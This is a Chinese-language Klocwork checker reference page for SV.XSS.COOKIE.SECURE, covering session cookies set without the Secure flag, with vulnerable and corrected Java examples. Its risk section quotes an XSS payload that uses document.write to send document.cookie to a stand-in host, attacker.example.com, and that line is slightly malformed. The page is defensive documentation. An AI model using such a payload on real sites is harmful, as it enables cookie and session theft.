SV.XSS.COOKIE.SECURE
无安全协议的敏感 Cookie
当用于存储客户端与网站之间交互会话 ID 的 Cookie 未通过 HTTPS 和 SSL 等安全协议发送时,Klocwork 会报告 SV.XSS.COOKIE.SECURE 缺陷。
从 2023.2 版本开始,此检查器将支持 Jakarta EE。
漏洞与风险
能够执行跨站脚本 (XSS) 的攻击者可插入恶意脚本,例如:
复制
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie .'">'
客户端加载和执行此脚本时,便会对攻击者控制的网站发出请求。然后,攻击者可记录该请求并窃取 Cookie。
缓解与预防
setSecure 标记指示浏览器,Cookie 只能使用安全协议(如 HTTPS 或 SSL)发送。设置后,支持该标记的浏览器不会通过不安全的协议发送 Cookie 的内容。
漏洞代码示例 1
复制
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
Klocwork 在第 3 行报告了 SV.XSS.COOKIE.SECURE 缺陷,指出“无 HTTPS 或 SSL 等安全协议,可能会攻击 Cookie”,因为在添加到响应之前未在 Cookie 上设置 setSecure 标记。
修正代码示例 1
复制
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setSecure(true);
response.addCookie(c);
Klocwork 在第 4 行不再报告 SV.XSS.COOKIE.SECURE 缺陷,因为已在第 3 行上为 Cookie 设置了 setSecure 标记。
漏洞代码示例 2
复制
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setSecure(false);
response.addCookie(c);
Klocwork 在第 4 行报告了 SV.XSS.COOKIE.SECURE 缺陷,指出“无 HTTPS 或 SSL 等安全协议,可能会攻击 Cookie”,因为在添加到响应之前未在 Cookie 上设置 setSecure 标记。
修正代码示例 2
复制
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setSecure(true);
response.addCookie(c);
Klocwork 在第 4 行不再报告 SV.XSS.COOKIE.SECURE 缺陷,因为已在第 3 行上为 Cookie 设置了 setSecure 标记。